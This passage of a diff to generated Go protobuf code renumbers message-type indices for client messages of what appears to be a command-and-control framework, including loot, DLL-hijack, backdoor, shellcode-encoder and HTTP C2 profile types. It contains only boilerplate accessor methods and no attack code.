func (x *WebContent) Reset() {
*x = WebContent{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[67]
+ mi := &file_clientpb_client_proto_msgTypes[73]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6396,7 +6879,7 @@ func (x *WebContent) String() string {
func (*WebContent) ProtoMessage() {}
func (x *WebContent) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[67]
+ mi := &file_clientpb_client_proto_msgTypes[73]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6409,7 +6892,7 @@ func (x *WebContent) ProtoReflect() protoreflect.Message {
// Deprecated: Use WebContent.ProtoReflect.Descriptor instead.
func (*WebContent) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{67}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{73}
}
func (x *WebContent) GetID() string {
@@ -6466,7 +6949,7 @@ type WebsiteAddContent struct {
func (x *WebsiteAddContent) Reset() {
*x = WebsiteAddContent{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[68]
+ mi := &file_clientpb_client_proto_msgTypes[74]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6479,7 +6962,7 @@ func (x *WebsiteAddContent) String() string {
func (*WebsiteAddContent) ProtoMessage() {}
func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[68]
+ mi := &file_clientpb_client_proto_msgTypes[74]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6492,7 +6975,7 @@ func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message {
// Deprecated: Use WebsiteAddContent.ProtoReflect.Descriptor instead.
func (*WebsiteAddContent) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{68}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{74}
}
func (x *WebsiteAddContent) GetName() string {
@@ -6521,7 +7004,7 @@ type WebsiteRemoveContent struct {
func (x *WebsiteRemoveContent) Reset() {
*x = WebsiteRemoveContent{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[69]
+ mi := &file_clientpb_client_proto_msgTypes[75]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6534,7 +7017,7 @@ func (x *WebsiteRemoveContent) String() string {
func (*WebsiteRemoveContent) ProtoMessage() {}
func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[69]
+ mi := &file_clientpb_client_proto_msgTypes[75]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6547,7 +7030,7 @@ func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message {
// Deprecated: Use WebsiteRemoveContent.ProtoReflect.Descriptor instead.
func (*WebsiteRemoveContent) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{69}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{75}
}
func (x *WebsiteRemoveContent) GetName() string {
@@ -6577,7 +7060,7 @@ type Website struct {
func (x *Website) Reset() {
*x = Website{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[70]
+ mi := &file_clientpb_client_proto_msgTypes[76]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6590,7 +7073,7 @@ func (x *Website) String() string {
func (*Website) ProtoMessage() {}
func (x *Website) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[70]
+ mi := &file_clientpb_client_proto_msgTypes[76]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6603,7 +7086,7 @@ func (x *Website) ProtoReflect() protoreflect.Message {
// Deprecated: Use Website.ProtoReflect.Descriptor instead.
func (*Website) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{70}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{76}
}
func (x *Website) GetID() string {
@@ -6638,7 +7121,7 @@ type Websites struct {
func (x *Websites) Reset() {
*x = Websites{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[71]
+ mi := &file_clientpb_client_proto_msgTypes[77]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6651,7 +7134,7 @@ func (x *Websites) String() string {
func (*Websites) ProtoMessage() {}
func (x *Websites) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[71]
+ mi := &file_clientpb_client_proto_msgTypes[77]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6664,7 +7147,7 @@ func (x *Websites) ProtoReflect() protoreflect.Message {
// Deprecated: Use Websites.ProtoReflect.Descriptor instead.
func (*Websites) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{71}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{77}
}
func (x *Websites) GetWebsites() []*Website {
@@ -6688,7 +7171,7 @@ type WGClientConfig struct {
func (x *WGClientConfig) Reset() {
*x = WGClientConfig{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[72]
+ mi := &file_clientpb_client_proto_msgTypes[78]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6701,7 +7184,7 @@ func (x *WGClientConfig) String() string {
func (*WGClientConfig) ProtoMessage() {}
func (x *WGClientConfig) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[72]
+ mi := &file_clientpb_client_proto_msgTypes[78]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6714,7 +7197,7 @@ func (x *WGClientConfig) ProtoReflect() protoreflect.Message {
// Deprecated: Use WGClientConfig.ProtoReflect.Descriptor instead.
func (*WGClientConfig) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{72}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{78}
}
func (x *WGClientConfig) GetServerPubKey() string {
@@ -6761,7 +7244,7 @@ type Loot struct {
func (x *Loot) Reset() {
*x = Loot{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[73]
+ mi := &file_clientpb_client_proto_msgTypes[79]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6774,7 +7257,7 @@ func (x *Loot) String() string {
func (*Loot) ProtoMessage() {}
func (x *Loot) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[73]
+ mi := &file_clientpb_client_proto_msgTypes[79]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6787,7 +7270,7 @@ func (x *Loot) ProtoReflect() protoreflect.Message {
// Deprecated: Use Loot.ProtoReflect.Descriptor instead.
func (*Loot) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{73}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{79}
}
func (x *Loot) GetID() string {
@@ -6843,7 +7326,7 @@ type AllLoot struct {
func (x *AllLoot) Reset() {
*x = AllLoot{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[74]
+ mi := &file_clientpb_client_proto_msgTypes[80]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6856,7 +7339,7 @@ func (x *AllLoot) String() string {
func (*AllLoot) ProtoMessage() {}
func (x *AllLoot) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[74]
+ mi := &file_clientpb_client_proto_msgTypes[80]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6869,7 +7352,7 @@ func (x *AllLoot) ProtoReflect() protoreflect.Message {
// Deprecated: Use AllLoot.ProtoReflect.Descriptor instead.
func (*AllLoot) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{74}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{80}
}
func (x *AllLoot) GetLoot() []*Loot {
@@ -6893,7 +7376,7 @@ type IOC struct {
func (x *IOC) Reset() {
*x = IOC{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[75]
+ mi := &file_clientpb_client_proto_msgTypes[81]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6906,7 +7389,7 @@ func (x *IOC) String() string {
func (*IOC) ProtoMessage() {}
func (x *IOC) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[75]
+ mi := &file_clientpb_client_proto_msgTypes[81]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6919,7 +7402,7 @@ func (x *IOC) ProtoReflect() protoreflect.Message {
// Deprecated: Use IOC.ProtoReflect.Descriptor instead.
func (*IOC) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{75}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{81}
}
func (x *IOC) GetPath() string {
@@ -6954,7 +7437,7 @@ type ExtensionData struct {
func (x *ExtensionData) Reset() {
*x = ExtensionData{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[76]
+ mi := &file_clientpb_client_proto_msgTypes[82]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -6967,7 +7450,7 @@ func (x *ExtensionData) String() string {
func (*ExtensionData) ProtoMessage() {}
func (x *ExtensionData) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[76]
+ mi := &file_clientpb_client_proto_msgTypes[82]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -6980,7 +7463,7 @@ func (x *ExtensionData) ProtoReflect() protoreflect.Message {
// Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead.
func (*ExtensionData) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{76}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{82}
}
func (x *ExtensionData) GetOutput() string {
@@ -7008,7 +7491,7 @@ type Host struct {
func (x *Host) Reset() {
*x = Host{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[77]
+ mi := &file_clientpb_client_proto_msgTypes[83]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7021,7 +7504,7 @@ func (x *Host) String() string {
func (*Host) ProtoMessage() {}
func (x *Host) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[77]
+ mi := &file_clientpb_client_proto_msgTypes[83]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7034,7 +7517,7 @@ func (x *Host) ProtoReflect() protoreflect.Message {
// Deprecated: Use Host.ProtoReflect.Descriptor instead.
func (*Host) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{77}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{83}
}
func (x *Host) GetID() string {
@@ -7104,7 +7587,7 @@ type AllHosts struct {
func (x *AllHosts) Reset() {
*x = AllHosts{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[78]
+ mi := &file_clientpb_client_proto_msgTypes[84]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7117,7 +7600,7 @@ func (x *AllHosts) String() string {
func (*AllHosts) ProtoMessage() {}
func (x *AllHosts) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[78]
+ mi := &file_clientpb_client_proto_msgTypes[84]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7130,7 +7613,7 @@ func (x *AllHosts) ProtoReflect() protoreflect.Message {
// Deprecated: Use AllHosts.ProtoReflect.Descriptor instead.
func (*AllHosts) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{78}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{84}
}
func (x *AllHosts) GetHosts() []*Host {
@@ -7158,7 +7641,7 @@ type DllHijackReq struct {
func (x *DllHijackReq) Reset() {
*x = DllHijackReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[79]
+ mi := &file_clientpb_client_proto_msgTypes[85]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7171,7 +7654,7 @@ func (x *DllHijackReq) String() string {
func (*DllHijackReq) ProtoMessage() {}
func (x *DllHijackReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[79]
+ mi := &file_clientpb_client_proto_msgTypes[85]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7184,7 +7667,7 @@ func (x *DllHijackReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead.
func (*DllHijackReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{79}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{85}
}
func (x *DllHijackReq) GetReferenceDLLPath() string {
@@ -7247,7 +7730,7 @@ type DllHijack struct {
func (x *DllHijack) Reset() {
*x = DllHijack{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[80]
+ mi := &file_clientpb_client_proto_msgTypes[86]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7260,7 +7743,7 @@ func (x *DllHijack) String() string {
func (*DllHijack) ProtoMessage() {}
func (x *DllHijack) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[80]
+ mi := &file_clientpb_client_proto_msgTypes[86]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7273,7 +7756,7 @@ func (x *DllHijack) ProtoReflect() protoreflect.Message {
// Deprecated: Use DllHijack.ProtoReflect.Descriptor instead.
func (*DllHijack) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{80}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{86}
}
func (x *DllHijack) GetResponse() *commonpb.Response {
@@ -7297,7 +7780,7 @@ type BackdoorReq struct {
func (x *BackdoorReq) Reset() {
*x = BackdoorReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[81]
+ mi := &file_clientpb_client_proto_msgTypes[87]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7310,7 +7793,7 @@ func (x *BackdoorReq) String() string {
func (*BackdoorReq) ProtoMessage() {}
func (x *BackdoorReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[81]
+ mi := &file_clientpb_client_proto_msgTypes[87]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7323,7 +7806,7 @@ func (x *BackdoorReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use BackdoorReq.ProtoReflect.Descriptor instead.
func (*BackdoorReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{81}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{87}
}
func (x *BackdoorReq) GetFilePath() string {
@@ -7365,7 +7848,7 @@ type Backdoor struct {
func (x *Backdoor) Reset() {
*x = Backdoor{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[82]
+ mi := &file_clientpb_client_proto_msgTypes[88]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7378,7 +7861,7 @@ func (x *Backdoor) String() string {
func (*Backdoor) ProtoMessage() {}
func (x *Backdoor) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[82]
+ mi := &file_clientpb_client_proto_msgTypes[88]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7391,7 +7874,7 @@ func (x *Backdoor) ProtoReflect() protoreflect.Message {
// Deprecated: Use Backdoor.ProtoReflect.Descriptor instead.
func (*Backdoor) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{82}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{88}
}
func (x *Backdoor) GetResponse() *commonpb.Response {
@@ -7417,7 +7900,7 @@ type ShellcodeEncodeReq struct {
func (x *ShellcodeEncodeReq) Reset() {
*x = ShellcodeEncodeReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[83]
+ mi := &file_clientpb_client_proto_msgTypes[89]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7430,7 +7913,7 @@ func (x *ShellcodeEncodeReq) String() string {
func (*ShellcodeEncodeReq) ProtoMessage() {}
func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[83]
+ mi := &file_clientpb_client_proto_msgTypes[89]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7443,7 +7926,7 @@ func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead.
func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{83}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{89}
}
func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder {
@@ -7500,7 +7983,7 @@ type ShellcodeEncode struct {
func (x *ShellcodeEncode) Reset() {
*x = ShellcodeEncode{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[84]
+ mi := &file_clientpb_client_proto_msgTypes[90]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7513,7 +7996,7 @@ func (x *ShellcodeEncode) String() string {
func (*ShellcodeEncode) ProtoMessage() {}
func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[84]
+ mi := &file_clientpb_client_proto_msgTypes[90]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7526,7 +8009,7 @@ func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message {
// Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead.
func (*ShellcodeEncode) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{84}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{90}
}
func (x *ShellcodeEncode) GetData() []byte {
@@ -7554,7 +8037,7 @@ type ShellcodeEncoderMap struct {
func (x *ShellcodeEncoderMap) Reset() {
*x = ShellcodeEncoderMap{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[85]
+ mi := &file_clientpb_client_proto_msgTypes[91]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7567,7 +8050,7 @@ func (x *ShellcodeEncoderMap) String() string {
func (*ShellcodeEncoderMap) ProtoMessage() {}
func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[85]
+ mi := &file_clientpb_client_proto_msgTypes[91]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7580,7 +8063,7 @@ func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message {
// Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead.
func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{85}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{91}
}
func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder {
@@ -7603,7 +8086,7 @@ type ExternalGenerateReq struct {
func (x *ExternalGenerateReq) Reset() {
*x = ExternalGenerateReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[86]
+ mi := &file_clientpb_client_proto_msgTypes[92]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7616,7 +8099,7 @@ func (x *ExternalGenerateReq) String() string {
func (*ExternalGenerateReq) ProtoMessage() {}
func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[86]
+ mi := &file_clientpb_client_proto_msgTypes[92]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7629,7 +8112,7 @@ func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use ExternalGenerateReq.ProtoReflect.Descriptor instead.
func (*ExternalGenerateReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{86}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{92}
}
func (x *ExternalGenerateReq) GetConfig() *ImplantConfig {
@@ -7664,7 +8147,7 @@ type Builders struct {
func (x *Builders) Reset() {
*x = Builders{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[87]
+ mi := &file_clientpb_client_proto_msgTypes[93]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7677,7 +8160,7 @@ func (x *Builders) String() string {
func (*Builders) ProtoMessage() {}
func (x *Builders) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[87]
+ mi := &file_clientpb_client_proto_msgTypes[93]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7690,7 +8173,7 @@ func (x *Builders) ProtoReflect() protoreflect.Message {
// Deprecated: Use Builders.ProtoReflect.Descriptor instead.
func (*Builders) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{87}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{93}
}
func (x *Builders) GetBuilders() []*Builder {
@@ -7717,7 +8200,7 @@ type Builder struct {
func (x *Builder) Reset() {
*x = Builder{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[88]
+ mi := &file_clientpb_client_proto_msgTypes[94]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7730,7 +8213,7 @@ func (x *Builder) String() string {
func (*Builder) ProtoMessage() {}
func (x *Builder) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[88]
+ mi := &file_clientpb_client_proto_msgTypes[94]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7743,7 +8226,7 @@ func (x *Builder) ProtoReflect() protoreflect.Message {
// Deprecated: Use Builder.ProtoReflect.Descriptor instead.
func (*Builder) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{88}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{94}
}
func (x *Builder) GetName() string {
@@ -7807,7 +8290,7 @@ type HTTPC2Configs struct {
func (x *HTTPC2Configs) Reset() {
*x = HTTPC2Configs{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[89]
+ mi := &file_clientpb_client_proto_msgTypes[95]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7820,7 +8303,7 @@ func (x *HTTPC2Configs) String() string {
func (*HTTPC2Configs) ProtoMessage() {}
func (x *HTTPC2Configs) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[89]
+ mi := &file_clientpb_client_proto_msgTypes[95]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7833,7 +8316,7 @@ func (x *HTTPC2Configs) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2Configs.ProtoReflect.Descriptor instead.
func (*HTTPC2Configs) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{89}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{95}
}
func (x *HTTPC2Configs) GetConfigs() []*HTTPC2Config {
@@ -7854,7 +8337,7 @@ type C2ProfileReq struct {
func (x *C2ProfileReq) Reset() {
*x = C2ProfileReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[90]
+ mi := &file_clientpb_client_proto_msgTypes[96]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7867,7 +8350,7 @@ func (x *C2ProfileReq) String() string {
func (*C2ProfileReq) ProtoMessage() {}
func (x *C2ProfileReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[90]
+ mi := &file_clientpb_client_proto_msgTypes[96]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7880,7 +8363,7 @@ func (x *C2ProfileReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use C2ProfileReq.ProtoReflect.Descriptor instead.
func (*C2ProfileReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{90}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{96}
}
func (x *C2ProfileReq) GetName() string {
@@ -7902,7 +8385,7 @@ type HTTPC2ConfigReq struct {
func (x *HTTPC2ConfigReq) Reset() {
*x = HTTPC2ConfigReq{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[91]
+ mi := &file_clientpb_client_proto_msgTypes[97]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7915,7 +8398,7 @@ func (x *HTTPC2ConfigReq) String() string {
func (*HTTPC2ConfigReq) ProtoMessage() {}
func (x *HTTPC2ConfigReq) ProtoReflect() protoreflect.Message {
- mi := &file_clientpb_client_proto_msgTypes[91]
+ mi := &file_clientpb_client_proto_msgTypes[97]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -7928,7 +8411,7 @@ func (x *HTTPC2ConfigReq) ProtoReflect() protoreflect.Message {
// Deprecated: Use HTTPC2ConfigReq.ProtoReflect.Descriptor instead.
func (*HTTPC2ConfigReq) Descriptor() ([]byte, []int) {
- return file_clientpb_client_proto_rawDescGZIP(), []int{91}
+ return file_clientpb_client_proto_rawDescGZIP(), []int{97}
}
func (x *HTTPC2ConfigReq) GetOverwrite() bool {
@@ -7960,7 +8443,7 @@ type HTTPC2Config struct {
func (x *HTTPC2Config) Reset() {
*x = HTTPC2Config{}
if protoimpl.UnsafeEnabled {
- mi := &file_clientpb_client_proto_msgTypes[92]
+ mi := &file_clientpb_client_proto_msgTypes[98]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -7973,7 +8456,7 @@ func (x *HTTPC2Config) String() string {
func (*HTTPC2Config) ProtoMessage() {}
